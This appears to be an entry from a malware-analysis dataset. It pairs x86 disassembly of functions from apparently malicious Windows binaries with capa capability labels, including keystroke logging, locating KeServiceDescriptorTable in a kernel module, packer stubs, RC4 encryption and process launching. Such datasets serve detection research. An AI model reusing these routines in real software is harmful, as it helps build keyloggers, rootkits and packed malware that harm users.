joyce8/EMBER2024-capa huggingface dataset:
Function at 0xa35786e0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0xa357a278
push 0xa357972e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x6c
push ebx
push esi
push edi
xor esi, esi
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x1c], 0xc0000001
mov dword [ebp - 0x5c], 0x18
mov dword [ebp - 0x58], esi
mov eax, dword [ebp + 8]
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x50], 0x40
xor eax, eax
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x48], eax
mov dword [ebp - 4], esi
push 0x20
push 1
lea ecx, [ebp - 0x34]
push ecx
lea edx, [ebp - 0x5c]
push edx
push 0x80000000
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.ntoskrnl.exe_Ordinal_57750]
mov dword [ebp - 0x1c], eax
cmp eax, esi
jl 0xa3578846
push 5
push 0x18
lea ecx, [ebp - 0x78]
push ecx
lea edx, [ebp - 0x3c]
push edx
mov eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.ntoskrnl.exe_Ordinal_57764]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x70]
mov edi, eax
push 0x30304550
push eax
push 1
mov ebx, dword [sym.imp.ntoskrnl.exe_Ordinal_57544]
call ebx
mov esi, eax
mov dword [ebp - 0x28], esi
test esi, esi
jne 0xa357879d
mov dword [ebp - 0x1c], 0xc0000001
jmp 0xa3578846
push 0
push 0
push edi
push esi
lea ecx, [ebp - 0x44]
push ecx
push 0
push 0
push 0
mov edx, dword [ebp - 0x20]
push edx
call dword [sym.imp.ntoskrnl.exe_Ordinal_57790]
mov dword [ebp - 0x1c], eax
test eax, eax
jl 0xa3578846
mov eax, 0x5a4d
cmp word [esi], ax
jne 0xa3578791
mov eax, dword [esi + 0x3c]
add eax, esi
cmp dword [eax], 0x4550
jne 0xa3578791
mov eax, dword [esi + 0x3c]
add eax, esi
movzx ecx, word [eax + 6]
mov dword [ebp + 8], ecx
lea edi, [eax + 0xf8]
mov dword [ebp - 0x2c], edi
push 0x30304550
mov edx, dword [eax + 0x50]
push edx
push 0
call ebx
mov ebx, eax
test ebx, ebx
je 0xa3578791
mov eax, dword [edi + 0xc]
push eax
push esi
push ebx
call fcn.a3579734
add esp, 0xc
mov dword [ebp - 0x24], 0
mov ecx, dword [ebp - 0x24]
cmp ecx, dword [ebp + 8]
jae 0xa3578841
mov edx, dword [edi + 0x10]
push edx
mov eax, dword [edi + 0x14]
add eax, esi
push eax
mov ecx, dword [edi + 0xc]
add ecx, ebx
push ecx
call fcn.a3579734
add esp, 0xc
add edi, 0x28
mov dword [ebp - 0x2c], edi
inc dword [ebp - 0x24]
jmp 0xa3578816
mov edx, dword [ebp + 0xc]
mov dword [edx], ebx
mov dword [ebp - 4], 0xffffffff
call fcn.a357886b
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0xa3578a00
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0xa357a228
push 0xa357972e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x24
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov esi, ecx
mov byte [ebp - 0x19], 0
xor ebx, ebx
mov dword [ebp - 0x20], ebx
mov dword [ebp - 4], ebx
mov eax, dword [esi + 0x3c]
add eax, esi
cmp dword [eax + 0x78], ebx
je 0xa3578ab9
cmp dword [eax + 0x7c], ebx
je 0xa3578ab9
mov edi, dword [eax + 0x78]
add edi, esi
mov ecx, dword [edi + 0x20]
add ecx, esi
mov dword [ebp - 0x34], ecx
mov eax, dword [edi + 0x1c]
add eax, esi
mov dword [ebp - 0x28], eax
mov eax, dword [edi + 0x24]
add eax, esi
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], ebx
cmp byte [ebp - 0x19], 0
jne 0xa3578ab9
cmp ebx, dword [edi + 0x18]
jae 0xa3578ab9
movzx eax, word [eax + ebx*2]
mov dword [ebp - 0x24], eax
mov eax, dword [ecx + ebx*4]
test eax, eax
je 0xa3578aa4
add eax, esi
push eax
mov eax, str.KeServiceDescriptorTable
push eax
call fcn.a3579716
add esp, 8
test eax, eax
jne 0xa3578aa4
mov byte [ebp - 0x19], 1
movzx ecx, word [ebp - 0x24]
mov edx, dword [ebp - 0x28]
mov eax, dword [edx + ecx*4]
add eax, esi
mov dword [ebp - 0x20], eax
inc ebx
mov dword [ebp - 0x2c], ebx
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x34]
jmp 0xa3578a63
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x75365e
Capabilities:
Packed with generic packer

Disassembly:
add edx, esi
jmp 0x753111
add dword [ebp - 8], 2
jmp 0x75379b
jne 0x753454
jmp 0x753c52
mov dword [ebp - 8], ebx
jmp 0x753454
jne 0x753c3b
jmp 0x75396d
pop ebx
jmp 0x753c4b
mov eax, dword [ecx + 0x24]
jmp 0x753a62
jmp 0x753d2c
mov ebx, dword [ebp - 8]
jmp 0x753cf2
test edx, edx
jmp 0x753774
lea eax, [ecx + eax*4]
jmp 0x753a78
mov edx, dword [ebp - 4]
jmp 0x753cca
mov byte [ebp + 0xb], bl
jmp 0x7535ae
call dword [0x757480]
jmp 0x75344d
jne 0x753918
jmp 0x75354a
cmp bl, byte [edx]
jmp 0x75311c
mov eax, edi
jmp 0x7532d3
push ebx
jmp 0x7537c0
mov ebx, dword [ebp - 8]
jmp 0x753564
sbb edx, 0xffffffff
jmp 0x753317
mov dword [0x75747c], 1
jmp 0x753bfa
pop eax
jmp 0x7539bf
mov bl, byte [ebx]
jmp 0x7533eb
cmp word [eax], 0x5a4d
jmp 0x753b0b
call 0x75359a
pop ss
xchg dword [esp], ebp
lea ebp, [ebp - 0x3f]
xchg dword [esp], ebp
je 0x75355a
jne 0x75355a
popal
or dh, byte [ecx + 0x15a3ac8]
cmp bl, byte [edx + 1]
jmp 0x7538a4
ret
call 0x753665
mov dl, 0x37
xchg dword [esp], edx
lea edx, [edx + 0x18b]
xchg dword [esp], edx
jmp 0x7537ee
push edi
jmp 0x753ad2
ret
inc edx
jmp 0x753b84
sub esp, 0x20
jmp 0x753b8c
mov ebp, esp
jmp 0x75373a
je 0x7531c1
jmp 0x75395b
inc edx
jmp 0x7536e8
mov ebx, dword [ebp + 0xc]
jmp 0x753c1f
push esi
jmp 0x753689
lea eax, [eax + edx*2]
jmp 0x753c9d
je 0x753c52
jmp 0x7532e1
pushal
jmp 0x753cdd
push ebp
jmp 0x753750
call 0x753890
fiadd word [edi - 0x7672dbf4]
add byte [ecx], 0
add byte [edi - 0x438bdbf4], al
jne 0x75385a
aaa
or esi, ebx
ret
jne 0x753c3b
jmp 0x753054
dec eax
jmp 0x753a99
jmp 0x753317
push dword [ebp + 8]
jmp 0x7533a9
inc dword [ebp - 4]
jmp 0x753351
test bl, bl
jmp 0x7537e3
pop esi
jmp 0x753168
jb 0x7537a2
jmp 0x753cd3
inc eax
jmp 0x7538d5
add edi, esi
jmp 0x753421
mov ecx, dword [ecx + 0x1c]
jmp 0x7537c8
mov edx, dword [ebp - 4]
jmp 0x753a44
mov edi, dword [eax + esi]
jmp 0x7539f4
xor ax, ax
jmp 0x75356c
call 0x753ad9
or ah, dl
xchg dword [esp], ebx
lea ebx, [ebx - 0x481]
xchg dword [esp], ebx
jmp 0x753594
jne 0x7538d5
jmp 0x7536a5
test bl, bl
jmp 0x7530b7
cmp dword [0x75747c], 0
jmp 0x7533c2
jmp 0x75344d
mov edx, dword [ebp - 4]
jmp 0x753d3f
sbb edx, edx
jmp 0x753517
leave
jmp 0x7535f5
xor edx, edx
jmp 0x7538df
movzx eax, word [eax + esi]
jmp 0x753321
cmp edx, dword [ecx + 0x18]
jmp 0x75399d
jmp 0x753421
push esp
jmp 0x75388a
mov bl, byte [ebx + 1]
jmp 0x753384
pop edi
jmp 0x75398c
mov edx, dword [eax + edx*4]
jmp 0x753016
Function at 0x753665
Capabilities:
Packed with generic packer

Disassembly:
add edx, esi
jmp 0x753111
add dword [ebp - 8], 2
jmp 0x75379b
jne 0x753454
jmp 0x753c52
mov dword [ebp - 8], ebx
jmp 0x753454
jne 0x753c3b
jmp 0x75396d
pop ebx
jmp 0x753c4b
mov eax, dword [ecx + 0x24]
jmp 0x753a62
jmp 0x753d2c
mov ebx, dword [ebp - 8]
jmp 0x753cf2
test edx, edx
jmp 0x753774
lea eax, [ecx + eax*4]
jmp 0x753a78
mov edx, dword [ebp - 4]
jmp 0x753cca
mov byte [ebp + 0xb], bl
jmp 0x7535ae
call dword [0x757480]
jmp 0x75344d
jne 0x753918
jmp 0x75354a
cmp bl, byte [edx]
jmp 0x75311c
mov eax, edi
jmp 0x7532d3
push ebx
jmp 0x7537c0
mov ebx, dword [ebp - 8]
jmp 0x753564
sbb edx, 0xffffffff
jmp 0x753317
mov dword [0x75747c], 1
jmp 0x753bfa
pop eax
jmp 0x7539bf
mov bl, byte [ebx]
jmp 0x7533eb
cmp word [eax], 0x5a4d
jmp 0x753b0b
call 0x75359a
pop ss
xchg dword [esp], ebp
lea ebp, [ebp - 0x3f]
xchg dword [esp], ebp
je 0x75355a
jne 0x75355a
popal
or dh, byte [ecx + 0x15a3ac8]
cmp bl, byte [edx + 1]
jmp 0x7538a4
ret
call 0x753665
mov dl, 0x37
xchg dword [esp], edx
lea edx, [edx + 0x18b]
xchg dword [esp], edx
jmp 0x7537ee
push edi
jmp 0x753ad2
ret
inc edx
jmp 0x753b84
sub esp, 0x20
jmp 0x753b8c
mov ebp, esp
jmp 0x75373a
je 0x7531c1
jmp 0x75395b
inc edx
jmp 0x7536e8
mov ebx, dword [ebp + 0xc]
jmp 0x753c1f
push esi
jmp 0x753689
lea eax, [eax + edx*2]
jmp 0x753c9d
je 0x753c52
jmp 0x7532e1
pushal
jmp 0x753cdd
push ebp
jmp 0x753750
call 0x753890
fiadd word [edi - 0x7672dbf4]
add byte [ecx], 0
add byte [edi - 0x438bdbf4], al
jne 0x75385a
aaa
or esi, ebx
ret
jne 0x753c3b
jmp 0x753054
dec eax
jmp 0x753a99
jmp 0x753317
push dword [ebp + 8]
jmp 0x7533a9
inc dword [ebp - 4]
jmp 0x753351
test bl, bl
jmp 0x7537e3
pop esi
jmp 0x753168
jb 0x7537a2
jmp 0x753cd3
inc eax
jmp 0x7538d5
add edi, esi
jmp 0x753421
mov ecx, dword [ecx + 0x1c]
jmp 0x7537c8
mov edx, dword [ebp - 4]
jmp 0x753a44
mov edi, dword [eax + esi]
jmp 0x7539f4
xor ax, ax
jmp 0x75356c
call 0x753ad9
or ah, dl
xchg dword [esp], ebx
lea ebx, [ebx - 0x481]
xchg dword [esp], ebx
jmp 0x753594
jne 0x7538d5
jmp 0x7536a5
test bl, bl
jmp 0x7530b7
cmp dword [0x75747c], 0
jmp 0x7533c2
jmp 0x75344d
mov edx, dword [ebp - 4]
jmp 0x753d3f
sbb edx, edx
jmp 0x753517
leave
jmp 0x7535f5
xor edx, edx
jmp 0x7538df
movzx eax, word [eax + esi]
jmp 0x753321
cmp edx, dword [ecx + 0x18]
jmp 0x75399d
jmp 0x753421
push esp
jmp 0x75388a
mov bl, byte [ebx + 1]
jmp 0x753384
pop edi
jmp 0x75398c
mov edx, dword [eax + edx*4]
jmp 0x753016
Function at 0x412fd0
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x496ccb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.0048af7a
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x413052
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.00488930
mov eax, dword [eax]
push 0x4d01e8
push eax
call fcn.0047aac4
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.0048b205
test bl, bl
je 0x413052
push 0x4d01e8
lea ecx, [esp + 0xc]
call fcn.0048b595
push 0x4d3d64
lea ecx, [esp + 0xc]
call fcn.0048b595
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x41308e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.0048b205
jmp 0x413159
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x413112
lea edx, [esp + 0x7c]
push 0x4d3d60
push edx
call fcn.0047aac4
add esp, 8
test eax, eax
je 0x413112
lea eax, [esp + 0x7c]
push 0x4d3d5c
push eax
call fcn.0047aac4
add esp, 8
test eax, eax
je 0x413112
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x4130a2
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.0048b205
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x413950
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x4139b2
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x4139c0
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x496d4b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x4dc5b0]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x413af8
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x413a26
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0048b205
xor eax, eax
jmp 0x413b6f
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.0048b342
push esi
lea ecx, [esp + 0xc]
call fcn.0048b5d1
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push 0x4d3d9c
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x413b4d
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push 0x4d3d94
push closesocket
call fcn.00413950
test eax, eax
jne 0x413b4d
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push 0x4d3d80
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push closesocket
mov ecx, edi
call fcn.00413950
test eax, eax
jne 0x413b4d
lea eax, [esp + 0x14]
push 0x4d3d78
push eax
call fcn.0047bb00
mov esi, eax
add esp, 8
test esi, esi
jne 0x413b2c
lea ecx, [esp + 0x14]
push 0x4d3d74
push ecx
call fcn.0047ba80
mov esi, eax
add esp, 8
test esi, esi
jne 0x413b2c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x413b2f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.0048b2f2
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x413a3e
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0048b205
xor eax, eax
jmp 0x413b6f
mov byte [esi], 0
push 0x4d3d70
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.0048b205
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x428fb0
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x42901e
cmp si, 0x69
ja 0x42901e
add esi, 0xffd0
cmp si, 0x11
je 0x428fee
push 0x11
call edi
test ax, ax
jge 0x428fee
or esi, 0x2000
cmp si, 0x10
je 0x429003
push 0x10
call edi
test ax, ax
jge 0x429003
or esi, 0x4000
cmp si, 0x12
je 0x429018
push 0x12
call edi
test ax, ax
jge 0x429018
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x42902b
mov esi, 0xbd
jmp 0x428fdf
cmp si, 0x6e
jne 0x429038
mov esi, 0xbe
jmp 0x428fdf
cmp si, 0x6f
jne 0x428fd9
mov esi, 0xbf
jmp 0x428fdf

Function at 0x42a7f0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x4ecd78]
xor edx, edx
cmp eax, edx
jne 0x42a816
xor eax, eax
mov byte [eax + 0x4ecc78], al
inc eax
cmp eax, 0x100
jl 0x42a7fe
mov dword [0x4ecd78], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x4ecc78
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x42a8a7
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x42a87a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x42a848
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x42a920
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x42a973
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x42a95a
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4313b0
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x18
mov eax, dword [esp + 0x1c]
push ebx
push ebp
push esi
xor esi, esi
xor ecx, ecx
mov si, word [eax + 8]
mov cx, word [eax + 4]
xor ebp, ebp
xor edx, edx
mov bp, word [eax + 0xa]
mov dx, word [eax + 6]
sub esi, ecx
sub ebp, edx
inc esi
xor ebx, ebx
inc ebp
cmp esi, ebx
mov dword [esp + 0x14], esi
jle 0x431548
cmp ebp, ebx
jle 0x431548
mov eax, esi
push edi
cdq
and edx, 7
add eax, edx
mov edi, eax
mov eax, esi
sar edi, 3
and eax, 0x80000007
mov dword [esp + 0x10], edi
jns 0x43140e
dec eax
or eax, 0xfffffff8
inc eax
je 0x431415
inc edi
mov dword [esp + 0x10], edi
mov ecx, edi
and ecx, reloc.WS2_32.dll_accept
jns 0x431424
dec ecx
or ecx, 0xfffffffe
inc ecx
je 0x43142b
inc edi
mov dword [esp + 0x10], edi
push 0x18
call fcn.0048af46
add esp, 4
cmp eax, ebx
je 0x43144c
mov dword [eax], ebx
mov dword [eax + 4], ebx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ebx
mov dword [eax + 0x10], ebx
mov dword [eax + 0x14], ebx
mov ebx, eax
mov eax, edi
mov dword [esp + 0x14], ebx
imul eax, ebp
push eax
mov dword [ebx], 7
mov dword [ebx + 4], esi
mov dword [ebx + 8], ebp
mov dword [ebx + 0x14], eax
call fcn.0048af46
mov ecx, dword [ebx + 0x14]
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebx + 0x10], edi
add esp, 4
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
test ebp, ebp
lea edx, [eax + 0x80]
jle 0x43153e
xor eax, eax
mov dword [esp + 0x20], ebp
mov dword [esp + 0x1c], eax
mov ebp, dword [ebx + 0x10]
xor ecx, ecx
add ebp, eax
mov dword [esp + 0x2c], ecx
test esi, esi
jle 0x431525
mov al, byte [edx]
cmp al, 0xc0
jbe 0x431511
and eax, 0xff
sub eax, 0xc0
inc edx
mov esi, eax
mov dword [esp + 0x24], edx
cmp esi, 1
jle 0x431506
xor eax, eax
mov ecx, esi
mov al, byte [edx]
mov edx, ecx
mov bl, al
mov edi, ebp
mov bh, bl
dec esi
mov eax, ebx
shl eax, 0x10
mov ax, bx
mov ebx, dword [esp + 0x14]
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
mov edx, dword [esp + 0x24]
and ecx, 3
add ebp, esi
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
lea ecx, [eax + esi*8]
mov esi, dword [esp + 0x18]
jmp 0x431514
mov al, byte [edx]
mov esi, dword [esp + 0x18]
mov byte [ebp], al
jmp 0x431514
mov byte [ebp], al
inc ebp
add ecx, 8
inc edx
cmp ecx, esi
mov dword [esp + 0x2c], ecx
jl 0x4314b0
mov eax, dword [esp + 0x1c]
mov edi, dword [esp + 0x10]
mov ecx, dword [esp + 0x20]
add eax, edi
dec ecx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], ecx
jne 0x4314a1
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x18
ret
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x18
ret
Function at 0x433f60
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov dword [ebp - 0x1c], ecx
mov eax, 1
test eax, eax
je 0x434045
mov dword [ebp - 0x18], 0
mov dword [ebp - 0xc], 0
lea ecx, [ebp - 0x10]
push ecx
lea edx, [ebp - 0x18]
push edx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax + 0x3c]
push ecx
call dword [sym.imp.KERNEL32.dll_ClearCommError]
mov edx, dword [ebp - 0x18]
and edx, 0xe
test edx, edx
je 0x433fb2
push 0
push 0x405
mov ecx, dword [ebp - 0x1c]
call fcn.00433770
cmp dword [ebp - 0xc], 0
jne 0x433fbd
jmp 0x434045
mov dword [ebp - 0x14], 0
mov eax, dword [ebp - 0x1c]
add eax, 0x40
push eax
lea ecx, [ebp - 0x14]
push ecx
push 1
lea edx, [ebp - 4]
push edx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax + 0x3c]
push ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x434029
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3e5
jne 0x434027
push 1
lea edx, [ebp - 0x14]
push edx
mov eax, dword [ebp - 0x1c]
add eax, 0x40
push eax
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ecx + 0x3c]
push edx
call dword [sym.imp.KERNEL32.dll_GetOverlappedResult]
test eax, eax
je 0x434027
mov eax, dword [ebp - 4]
and eax, 0xff
push eax
push 0x408
mov ecx, dword [ebp - 0x1c]
call fcn.00433770
jmp 0x434040
mov ecx, dword [ebp - 4]
and ecx, 0xff
push ecx
push 0x408
mov ecx, dword [ebp - 0x1c]
call fcn.00433770
jmp 0x433f69
mov esp, ebp
pop ebp
ret

Function at 0x434050
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 0x14], ecx
mov dword [ebp - 4], 0
mov eax, dword [ebp - 0x14]
mov dword [eax + 0x48], 0
mov ecx, dword [ebp - 0x14]
mov dword [ecx + 0x4c], 0
push 0xf
mov edx, dword [ebp - 0x14]
mov eax, dword [edx + 0x3c]
push eax
call dword [sym.imp.KERNEL32.dll_PurgeComm]
mov ecx, dword [ebp - 0x14]
mov dword [ecx + 0x8c], 1
mov edx, dword [ebp - 0x14]
mov eax, dword [edx + 0x88]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jle 0x434141
mov ecx, dword [ebp - 0x14]
mov edx, dword [ecx + 0x88]
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0x14]
add eax, 0x78
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x10]
cmp dword [ecx + 0x10], 0
jne 0x4340cd
mov dword [ebp - 0x18], 0
jmp 0x4340d6
mov edx, dword [ebp - 0x10]
mov eax, dword [edx + 8]
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x14]
add ecx, 0x40
push ecx
lea edx, [ebp - 4]
push edx
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x18]
push ecx
mov edx, dword [ebp - 0x14]
mov eax, dword [edx + 0x3c]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x434141
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3e5
jne 0x434134
push 1
lea ecx, [ebp - 4]
push ecx
mov edx, dword [ebp - 0x14]
add edx, 0x40
push edx
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax + 0x3c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetOverlappedResult]
test eax, eax
jne 0x434132
mov edx, dword [ebp - 0x14]
mov dword [edx + 0x8c], 0
jmp 0x434141
mov eax, dword [ebp - 0x14]
mov dword [eax + 0x8c], 0
mov ecx, dword [ebp - 0x14]
mov edx, dword [ecx + 0x6c]
push edx
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov esp, ebp
pop ebp
ret
Function at 0x434f10
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x498978
push eax
mov dword fs:[0], esp
sub esp, 0x28
push esi
push edi
mov edi, dword [esp + 0x44]
mov esi, ecx
test edi, edi
jne 0x434f49
pop edi
xor eax, eax
pop esi
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
add esp, 0x34
ret 0x24
push 0x400
lea ecx, [esp + 0xc]
call fcn.00492d93
mov eax, dword [esp + 0x40]
push 0
push edi
push eax
lea ecx, [esp + 0x14]
mov dword [esp + 0x44], 0
call fcn.00492ddf
mov ecx, dword [esp + 0x60]
mov edx, dword [esp + 0x5c]
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
mov edx, dword [esp + 0x58]
push eax
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
push eax
lea edx, [esp + 0x20]
push ecx
push edx
mov ecx, esi
call fcn.00434fd0
